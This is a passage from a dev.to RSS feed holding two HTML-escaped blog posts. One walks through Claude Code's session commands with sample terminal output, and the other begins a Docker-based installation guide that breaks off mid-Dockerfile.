  &lt;/span&gt;&lt;span class="nl"&gt;"gitBranch"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"main"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"slug"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"hashed-enchanting-ritchie"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These interaction types are at the heart of Claude’s agentic loop. Each prompt you provide gets analyzed, injected into pre-defined system prompts, sent to an LLM, which then provides assistant, tool-run, and tool-execution commands.&lt;/p&gt;

&lt;p&gt;With this understanding, let's continue with investigating the session commands.&lt;/p&gt;

&lt;h2&gt;
  
  
  Session Configuration
&lt;/h2&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/add-dir&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Once the Claude session starts, it is bound to the current working directory. This command adds additional directories, and Claude will access and utilize tools in the other directory too.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;──────────────────────
❯ /add-dir /opt/spa
──────────────────────
  spac/     directory

...
Add directory to workspace

    /opt/spac

    Claude Code will be able to &lt;span class="nb"&gt;read &lt;/span&gt;files &lt;span class="k"&gt;in &lt;/span&gt;this directory and make edits when
    auto-accept edits is on.

  ❯ 1. Yes, &lt;span class="k"&gt;for &lt;/span&gt;this session
    2. Yes, and remember this directory
    3. No
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/rename&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Sessions are created with a generic name. This command provides a memorable name.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;❯ /rename universal-skill-converter-refinement
  ⎿  Session renamed to: universal-skill-converter-refinement

─────────────────────────────── universal-skill-converter-refinement ──
❯
─────────────────────────────────────────────────────────────────
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/model&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Model capacities drive the quality of work results. Anthropic distinguishes three different model levels that scale with code complexity: Opus, Sonnet, and Haiku.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;/model&lt;/code&gt; command allows manual selection, which you should use on a per-task level. Here is the dialog.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/model
────────────────────────
 Select model
  Switch between Claude models. Applies to this session and future Claude Code
   sessions. For other/previous model names, specify with &lt;span class="nt"&gt;--model&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;

  ❯ 1. Default &lt;span class="o"&gt;(&lt;/span&gt;recommended&lt;span class="o"&gt;)&lt;/span&gt;  Use the default model &lt;span class="o"&gt;(&lt;/span&gt;currentlyclaude-sonnet-4.6&lt;span class="o"&gt;)&lt;/span&gt; ·
                              &lt;span class="nv"&gt;$3&lt;/span&gt;/&lt;span class="nv"&gt;$15&lt;/span&gt; per Mtok
    2. Sonnet &lt;span class="o"&gt;(&lt;/span&gt;1M context&lt;span class="o"&gt;)&lt;/span&gt;    Sonnet 4.6 &lt;span class="k"&gt;for &lt;/span&gt;long sessions · &lt;span class="nv"&gt;$3&lt;/span&gt;/&lt;span class="nv"&gt;$15&lt;/span&gt; per Mtok
    3. Opus &lt;span class="o"&gt;(&lt;/span&gt;1M context&lt;span class="o"&gt;)&lt;/span&gt;      Opus 4.6 with 1M context · Most capable &lt;span class="k"&gt;for
                              &lt;/span&gt;complex work
    4. Haiku ✔                Haiku 4.5 · Fastest &lt;span class="k"&gt;for &lt;/span&gt;quick answers · &lt;span class="nv"&gt;$1&lt;/span&gt;/&lt;span class="nv"&gt;$5&lt;/span&gt; per
                              Mtok
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/effort&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;When LLM models with thinking capabilities are invoked, they will work on a prompt self-reflectively, analyzing and checking their own output before formulating a response to the user. This amount of "thinking" can be controlled by the effort parameter with four values: &lt;code&gt;max&lt;/code&gt;, &lt;code&gt;high&lt;/code&gt;, &lt;code&gt;medium&lt;/code&gt;, &lt;code&gt;low&lt;/code&gt;. The default value in Claude is &lt;code&gt;medium&lt;/code&gt;, recommended for balancing speed, cost, and task quality, which can be observed by fewer absolute tool calls than on other effort levels.&lt;/p&gt;

&lt;p&gt;Here is an example of changing the parameter.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;─────────────────────────────────────
❯ /effort  &lt;span class="o"&gt;[&lt;/span&gt;low|medium|high|max|auto]
─────────────────────────────────────
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/login&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;To use an Anthropic account as an LLM provider, either direct API invocation,&lt;br&gt;
called console account, or a subscription plan with rolling 5-hour/weekly/monthly token budgets, can be used.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;login&lt;/code&gt; command authenticates the current session with one of these options. Select one of the options, then an authorization request to Anthropic is shown. Open the link in your browser, then paste the auth code. Once completed, credentials are persisted in &lt;code&gt;~/.claude/settings.json&lt;/code&gt;, and do not need to be entered when starting the next session.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;❯ /login
 Select login method:

 ❯ 1. Claude account with subscription · Pro, Max, Team, or Enterprise

   2. Anthropic Console account · API usage billing

   3. 3rd-party platform · Amazon Bedrock, Microsoft Foundry, or Vertex AI
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/logout&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;When using an Anthropic subscription, session credentials are persisted in the &lt;code&gt;~/.claude/settings.json&lt;/code&gt; file. This command revokes the credentials at the Anthropic CLI, removes the credentials from the file, and terminates the session.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;❯ /logout
Successfully logged out from your Anthropic account.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Session Reflection
&lt;/h2&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/cost&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;During a long session, lots of tokens will be exchanged between your computer and an LLM provider. This command calculates the total amount of costs, but that’s opinionated toward using an API subscription model with Anthropic. For all other providers, you can add token costs in the manual model definition, and then get an estimate of the incurred costs.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/cost
  ⎿  Total cost:            &lt;span class="nv"&gt;$0&lt;/span&gt;.79
     Total duration &lt;span class="o"&gt;(&lt;/span&gt;API&lt;span class="o"&gt;)&lt;/span&gt;:  1m 48s
     Total duration &lt;span class="o"&gt;(&lt;/span&gt;wall&lt;span class="o"&gt;)&lt;/span&gt;: 6m 29s
     Total code changes:    151 lines added, 0 lines removed
     Usage by model:
             claude-haiku-4.5:  51.6k input, 3.1k output, 904.8k cache &lt;span class="nb"&gt;read&lt;/span&gt;, 0 cache
      write &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$0&lt;/span&gt;.79&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  &lt;code&gt;/usage&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;When using Claude Code with an Anthropic subscription plan, this command shows how much of the rolling 5-hour and weekly usage limits is depleted.&lt;/p&gt;

&lt;p&gt;This command was removed in &lt;code&gt;v2.1.91&lt;/code&gt;, but for completeness, here is an example of its output.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/usage

Plan: Claude Max 5x &lt;span class="o"&gt;(&lt;/span&gt;subscription&lt;span class="o"&gt;)&lt;/span&gt;

Current 5-hour window
  Used:       18,400 tokens &lt;span class="o"&gt;(&lt;/span&gt;23%&lt;span class="o"&gt;)&lt;/span&gt;
  Remaining:  61,600 tokens &lt;span class="o"&gt;(&lt;/span&gt;77%&lt;span class="o"&gt;)&lt;/span&gt;
  Resets &lt;span class="k"&gt;in&lt;/span&gt;:  2h 12m

Weekly usage
  All models:   38% used &lt;span class="o"&gt;(&lt;/span&gt;resets Thu 04:00&lt;span class="o"&gt;)&lt;/span&gt;
  Opus only:     4% used
  Sonnet only:   2% used

Rate limit status: OK &lt;span class="o"&gt;(&lt;/span&gt;within all limits&lt;span class="o"&gt;)&lt;/span&gt;
Extra usage:       Disabled

When you use a custom model definition, these models are mapped according to the environment variables &lt;span class="s2"&gt;"ANTHROPIC_DEFAULT_HAIKU_MODEL"&lt;/span&gt;,  &lt;span class="s2"&gt;"ANTHROPIC_DEFAULT_SONNET_MODEL"&lt;/span&gt;, and &lt;span class="s2"&gt;"ANTHROPIC_DEFAULT_OPUS_MODEL"&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/status&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Gain a quick overview about the CLI version, selected model, and other account information.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;─────────────────────────────────────────────────────────────────
   Status   Config   Usage   Stats

Version: 2.1.91
  Session name: universal-skill-converter-refinement
  Session ID: 9bd58391-93ff-4c59-8d64-31d652281c14
  cwd: /opt/claude/universal-skills-converter/universal-skill-converter
  Auth token: ANTHROPIC_AUTH_TOKEN
  Anthropic base URL: https://api.z.ai/api/anthropic

  Model: claude-sonnet-4.6 &lt;span class="o"&gt;(&lt;/span&gt;claude-sonnet-4.6&lt;span class="o"&gt;)&lt;/span&gt;
  Setting sources: User settings, Enterprise managed settings &lt;span class="o"&gt;(&lt;/span&gt;file&lt;span class="o"&gt;)&lt;/span&gt;

  System Diagnostics
   ⚠ No write permissions &lt;span class="k"&gt;for &lt;/span&gt;auto-updates &lt;span class="o"&gt;(&lt;/span&gt;requires &lt;span class="nb"&gt;sudo&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="sb"&gt;``&lt;/span&gt;

Show essential CLI, model, and account information
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the &lt;code&gt;config&lt;/code&gt; tab.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;─────────────────────────────────────────────────────────────────
   Status   Config   Usage   Stats

  ╭─────────────────────────────────────────────────────────────────╮
  │ ⌕ Search settings…                                                                                                              │ 
  ╰─────────────────────────────────────────────────────────────────╯

    Auto-compact                              &lt;span class="nb"&gt;true
    &lt;/span&gt;Show tips                                 &lt;span class="nb"&gt;true
    &lt;/span&gt;Reduce motion                             &lt;span class="nb"&gt;false
    &lt;/span&gt;Thinking mode                             &lt;span class="nb"&gt;true
    &lt;/span&gt;Fast mode &lt;span class="o"&gt;(&lt;/span&gt;Opus 4.6 only&lt;span class="o"&gt;)&lt;/span&gt;                 &lt;span class="nb"&gt;false
    &lt;/span&gt;Rewind code &lt;span class="o"&gt;(&lt;/span&gt;checkpoints&lt;span class="o"&gt;)&lt;/span&gt;                 &lt;span class="nb"&gt;true
    &lt;/span&gt;Terminal progress bar                     &lt;span class="nb"&gt;true
    &lt;/span&gt;Show turn duration                        &lt;span class="nb"&gt;true
    &lt;/span&gt;Default permission mode                   Default
    Respect .gitignore &lt;span class="k"&gt;in &lt;/span&gt;file picker         &lt;span class="nb"&gt;true
    &lt;/span&gt;Always copy full response &lt;span class="o"&gt;(&lt;/span&gt;skip /copy     &lt;span class="nb"&gt;false
  &lt;/span&gt;picker&lt;span class="o"&gt;)&lt;/span&gt;
    Auto-update channel                &lt;span class="o"&gt;(&lt;/span&gt;CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAF
                                       FIC &lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

    Theme                                     Dark mode
    Notifications                             Auto
    Language                                  Default &lt;span class="o"&gt;(&lt;/span&gt;English&lt;span class="o"&gt;)&lt;/span&gt;
    Editor mode                               normal
    Show PR status footer                     &lt;span class="nb"&gt;true
    &lt;/span&gt;Model                                     sonnet[1m]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/stats&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Every interaction with Claude is logged inside the &lt;code&gt;./claude&lt;/code&gt; directory, with a path-prefix of the current working directory, and session files in JSONL format. These files contain timestamps, and can be used to create a visual representation of usage patterns.&lt;/p&gt;

&lt;p&gt;Here are my current stats:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;─────────────────────────────────────────────────────────────────
      Overview   Models

        Apr May Jun Jul Aug Sep Oct Nov Dec Jan Feb Mar Apr
        ···············································█▓·▒▒
    Mon ··················································▒
        ···················································
    Wed ················································░··
        ················································▒··
    Fri ················································█▓▓
        ··············································██░▓░

        Less ░ ▒ ▓ █ More

    All &lt;span class="nb"&gt;time&lt;/span&gt; · Last 7 days · Last 30 days

    Favorite model:claude-haiku-4.5     Total tokens: 4.7m

    Sessions: 52                    Longest session: 20h 28m 13s
    Active days: 15/30              Longest streak: 4 days
    Most active day: Mar 8          Current streak: 3 days

    Your longest session is ~6x longer than watching Titanic

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the &lt;code&gt;models&lt;/code&gt; tab:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; ─────────────────────────────────────────────────────────────────
      Overview   Models


    Tokens per Day
      861k ┼──╮
      753k ┤  │
      646k ┤  ╰──╮
      538k ┤     │
      430k ┤     ╰──╮              ╭──╮     ╭──╮
      323k ┤     ╭──╮              │  │  ╭──╯  │
      215k ┤  ╭──╯  │              │  ╰──╯     │
      108k ┼──╯     │─────╮  ╭─────╮        ╭──│  ╭──
         0 ┼────────╰────────╯─────╰─────────────────
            Mar 7       Mar 18      Mar 28      Apr 4
    ●claude-haiku-4.5 · ●claude-sonnet-4.6 · ●claude-opus-4.6

    All &lt;span class="nb"&gt;time&lt;/span&gt; · Last 7 days · Last 30 days

    ●claude-haiku-4.5 &lt;span class="o"&gt;(&lt;/span&gt;51.4%&lt;span class="o"&gt;)&lt;/span&gt;                 ●claude-opus-4.6 &lt;span class="o"&gt;(&lt;/span&gt;19.3%&lt;span class="o"&gt;)&lt;/span&gt;
      In: 2.1m · Out: 350.9k                In: 720.4k · Out: 187.2k
    ●claude-sonnet-4.6 &lt;span class="o"&gt;(&lt;/span&gt;29.3%&lt;span class="o"&gt;)&lt;/span&gt;
      In: 1.3m · Out: 47.9k
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/config&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;The many settings of Claude Code can be scattered along configuration files. This command allows a top-level overview about all defined settings for a particular session context. It also allows you to edit these settings, which will be persisted in the local &lt;code&gt;.claude&lt;/code&gt; folder, the scope which overrides all other settings except managed ones.&lt;/p&gt;

&lt;p&gt;As seen in other dialogues too, this one renders vertical tabs, starting with the "Config" section.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;─────────────────────────────────────────────────────────────────
   Status   Config   Usage   Stats


  ╭─────────────────────────────────────────────────────────────────╮
  │ ⌕ Search settings…                                                                                                              │ 
  ╰─────────────────────────────────────────────────────────────────╯

    Auto-compact                              &lt;span class="nb"&gt;true
    &lt;/span&gt;Show tips                                 &lt;span class="nb"&gt;true
    &lt;/span&gt;Reduce motion                             &lt;span class="nb"&gt;false
    &lt;/span&gt;Thinking mode                             &lt;span class="nb"&gt;true
    &lt;/span&gt;Rewind code &lt;span class="o"&gt;(&lt;/span&gt;checkpoints&lt;span class="o"&gt;)&lt;/span&gt;                 &lt;span class="nb"&gt;true
    &lt;/span&gt;Verbose output                            &lt;span class="nb"&gt;false
    &lt;/span&gt;Terminal progress bar                     &lt;span class="nb"&gt;true
    &lt;/span&gt;Show turn duration                        &lt;span class="nb"&gt;true
    &lt;/span&gt;Default permission mode                   Default
    Respect .gitignore &lt;span class="k"&gt;in &lt;/span&gt;file picker         &lt;span class="nb"&gt;true
    &lt;/span&gt;Always copy full response &lt;span class="o"&gt;(&lt;/span&gt;skip /copy     &lt;span class="nb"&gt;false
  &lt;/span&gt;picker&lt;span class="o"&gt;)&lt;/span&gt;
    Auto-update channel                       latest
    Theme                                     Dark mode
    Notifications                             Auto
    Output style                              default
    Language                                  Default &lt;span class="o"&gt;(&lt;/span&gt;English&lt;span class="o"&gt;)&lt;/span&gt;
    Editor mode                               normal
    Show PR status footer                     &lt;span class="nb"&gt;true
    &lt;/span&gt;Model                                     claude-haiku4.5
    Auto-connect to IDE &lt;span class="o"&gt;(&lt;/span&gt;external terminal&lt;span class="o"&gt;)&lt;/span&gt;   &lt;span class="nb"&gt;false&lt;/span&gt;
  ↓ 1 more below

  Type to filter · Enter/↓ to &lt;span class="k"&gt;select&lt;/span&gt; · ↑ to tabs · Esc to clear
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The remaining two tabs are just aliases for the &lt;code&gt;/usage&lt;/code&gt; and &lt;code&gt;/stats&lt;/code&gt; commands.&lt;/p&gt;

&lt;h3&gt;
  
  
  /update-config
&lt;/h3&gt;

&lt;p&gt;This command triggers an internal skill in which you can instruct a cinfig change.&lt;/p&gt;

&lt;p&gt;Here is an example output when modifying the thinking mode.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/update-config Configure the thinking mode.

∴ Thinking…

  The user wants to configure thinking mode. According to the update-config skill, thinking mode is configured using alwaysThinkingEnabled &lt;span class="o"&gt;(&lt;/span&gt;a simple
  setting that can use the Config tool&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;

  Let me clarify what they want to configure since &lt;span class="s2"&gt;"thinking mode"&lt;/span&gt; could mean:

- Enable/disable thinking &lt;span class="o"&gt;(&lt;/span&gt;alwaysThinkingEnabled: &lt;span class="nb"&gt;true &lt;/span&gt;or &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

─────────────────────────────────────────────────────────────────
 ☐ Thinking

Would you like to &lt;span class="nb"&gt;enable &lt;/span&gt;or disable thinking mode?

❯ 1. Enabled
     Always show thinking process &lt;span class="o"&gt;(&lt;/span&gt;default &lt;span class="k"&gt;for &lt;/span&gt;Haiku&lt;span class="o"&gt;)&lt;/span&gt;
  2. Disabled
     Disable extended thinking
  3. Type something.
─────────────────────────────────────────────────────────────────
  4. Chat about this

Enter to &lt;span class="k"&gt;select&lt;/span&gt; · ↑/↓ to navigate · Esc to cancel
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/export&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;The complete conversation log is serialized into JSONL files. User prompts, and the LLMs answers, are rendered in plain text in the terminal. And this representation can be exported into the clipboard or a file.&lt;/p&gt;

&lt;p&gt;Here is an example export during working on my skill-converter project.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;╭─── Claude Code v2.1.91 ──────────────────────────────────────────────────────╮
│                                           │ Tips &lt;span class="k"&gt;for &lt;/span&gt;getting started         │
│               Welcome back!               │ Run /init to create a CLAUDE.md… │
│                                           │ ──────────────────────────────── │
│                  ▐▛███▜▌                  │ Recent activity                  │
│                 ▝▜█████▛▘                 │ No recent activity               │
│                   ▘▘ ▝▝                   │                                  │
│                                           │                                  │
│     claude-haiku-4.5 · API Usage Billing  │                                  │
│   /opt/claude/universal-skill-converter   │                                  │
╰──────────────────────────────────────────────────────────────────────────────╯

❯ /rename refactor-to-python
  ⎿  Session renamed to: refactor-to-python

❯ Refactor this app to python. Write the plan file &lt;span class="s2"&gt;"refactor-to-python.md"&lt;/span&gt;

● I&lt;span class="s1"&gt;'ll help you refactor this app to Python. Let me start by exploring the
  codebase to understand its structure and functionality.

● Explore(Explore main codebase structure)
  ⎿  Done (42 tool uses · 45.7k tokens · 5m 21s)
  (ctrl+o to expand)

  Searched for 3 patterns (ctrl+o to expand)

● Now I understand the codebase completely. Let me create a plan file for
  refactoring to Python.

● Updated plan
  ⎿  /plan to preview

● I'&lt;/span&gt;ve created a comprehensive refactoring plan. Let me confirm a few key design
   choices with you:

● User answered Claude&lt;span class="s1"&gt;'s questions:
  ⎿  · Which Python CLI framework should I use? → Click
     · Should I keep the same package structure and CLI command names? → Yes,
     identical
     · What test coverage target should I aim for? → &amp;gt;70%
     · Should I use async/await for file operations? → Sync (blocking)

● Updated plan
  ⎿  /plan to preview
...

❯ /export
  ⎿  Conversation copied to clipboard
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/insights&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;All Claude Code interactions are stored in the &lt;code&gt;~./claude&lt;/code&gt; directory, which includes projects, sessions, and all prompts. This command checks all this data to provide a thorough analysis of how you use Claude in the form of an HTML document. It includes a summary of the projects you worked on, your style of interacting with Claude, statistics about session time and duration, and several helpful prompt additions to be put into the &lt;code&gt;CLAUDE.md&lt;/code&gt; file. Finally, usage patterns are condensed into skill and hook suggestions.&lt;/p&gt;

&lt;p&gt;Here are screenshots of my interactions:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh3h9aa4t7kxjlmx0m9n0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh3h9aa4t7kxjlmx0m9n0.png" width="800" height="646"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flaosc8i9sgtqo0qadaf5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flaosc8i9sgtqo0qadaf5.png" width="800" height="502"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;When the Claude Code CLI starts, a new session is created. Sessions are the core context of any interactions, and were covered extensively in this blog article. You gained a general overview about sessions, including the directory layout, JSONL files containing a trace of user, assistant, and tools calls, and the different types of entries in these files. These structures form the backbone commands about session configuration and session reflection. For session configuration, you learned about a) adding additional working directories, b) how to rename a session, c) selecting the LLM to be used in the current session, d) controlling the amount of tokens spent on "thinking", d) how to perform login and e) logout of an Anthropic subscription. For session reflection, you saw how to a) estimate costs, b) track token consumption, c) see all applicable configuration items, d) see statistics about your Claude Code sessions, e) get an editable text-overview about all currently active settings, f) instruct a config change, g) export user prompts and LLM answers, and h) gain valuable insights and improvements to using Claude Code, including additional sections to be inserted into CLAUDE.md, as well as skills and hooks for frequent changes.&lt;/p&gt;

</description>
      <category>claude</category>
    </item>
    <item>
      <title>Claude Code: Installation &amp; Setup of the Agentic Coding Tool</title>
      <dc:creator>Sebastian</dc:creator>
      <pubDate>Mon, 08 Jun 2026 05:01:30 +0000</pubDate>
      <link>https://dev.to/admantium/claude-code-installation-setup-of-the-agentic-coding-tool-37gb</link>
      <guid>https://dev.to/admantium/claude-code-installation-setup-of-the-agentic-coding-tool-37gb</guid>
      <description>&lt;p&gt;In 2024, the evolution of Large Language Models and their utilization in software applications and webpage interfaces started. The GPT-4 model from OpenAI showed unparalleled capabilities for text generation and information assembly. In 2026, two trends merged: The continued evolution of model complexity and capabilities, as well as sophisticated frameworks and libraries that greatly enhanced agentic capabilities of LLM invocation.&lt;/p&gt;

&lt;p&gt;Using LLMs as agents once was effectively a continued human-in-the-loop invocation where function calls needed to be monitored and corrected. But now, truly autonomous agents evolved. They apply function calling and function execution precisely, analyze errors and apply solutions when needed. They can fully interact with files and sockets on a computer, making autonomous code generation and even system operations a reality.&lt;/p&gt;

&lt;p&gt;On the forefront of agentic tools is the CLI tool &lt;a href="https://claude.com/product/claude-code" rel="noopener noreferrer"&gt;Claude Code&lt;/a&gt;. It promises and delivers excellent code generation capabilities, supporting developers of all maturity levels with increased productivity.&lt;/p&gt;

&lt;p&gt;This article starts a new blog series about agentic tools, and starts with exploring the Claude Code CLI systematically. The particular focus for this article is the installation and initial configuration of Claude Code. Learn how to use a Docker container as a safe sandbox with fine-grained permissions and access only to files that you will work on.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The technical context of this article is &lt;code&gt;claude_code v2.1.91&lt;/code&gt;, published on 2026-04-02. Examples and most CLI commands should work with newer versions too&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Every character, number, and symbol in this article was typed manually - with the addition of verbose copies from log messages and screenshots. While I'm fascinated by the capabilities of artificial intelligence tools and applications, crafting blog articles remains my personal skill.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article originally appeared at my blog &lt;a href="https://admantium.com/blog/claude01_introduction/" rel="noopener noreferrer"&gt;admantium.com&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Docker Container Setup
&lt;/h2&gt;

&lt;p&gt;Claude Code is an agentic tool with full support for creating, editing, and deleting any files on a computer or laptop. It can be installed natively via an install script, which essentially copies a platform-specific binary and required libraries, or as an NPM packages and its requirements.&lt;/p&gt;

&lt;p&gt;To prevent accidental file modifications on your main computer, I recommend to setup a Docker image and start a Docker container that mounts your specific directories.&lt;/p&gt;

&lt;h3&gt;
  
  
  Directory Structure
&lt;/h3&gt;

&lt;p&gt;Setup the following directory and file structure:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
├── Dockerfile
├── build
│   ├── managed-settings.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Dockerfile
&lt;/h3&gt;

&lt;p&gt;The Docker image has these features:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Based on the official NodeJS LTS image&lt;/li&gt;
&lt;li&gt;Installs &lt;code&gt;claude-code&lt;/code&gt; as an NPM package&lt;/li&gt;
&lt;li&gt;Copies default security permissions&lt;/li&gt;
&lt;li&gt;Runs as a non-root user that can become root with a dedicated password&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here is the file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="s"&gt; node:24-trixie&lt;/span&gt;

&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="s"&gt; /opt/claude&lt;/span&gt;

&lt;span class="k"&gt;RUN &lt;/span&gt;apt-get update &lt;span class="se"&gt;\
&lt;/span&gt;  &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; apt-get &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;--no-install-recommends&lt;/span&gt; &lt;span class="nt"&gt;--yes&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;    bubblewrap &lt;span class="se"&gt;\
&lt;/span&gt;    nano &lt;span class="se"&gt;\
&lt;/span&gt;    socat &lt;span class="se"&gt;\
&lt;/span&gt;    &lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;    vim &lt;span class="se"&gt;\
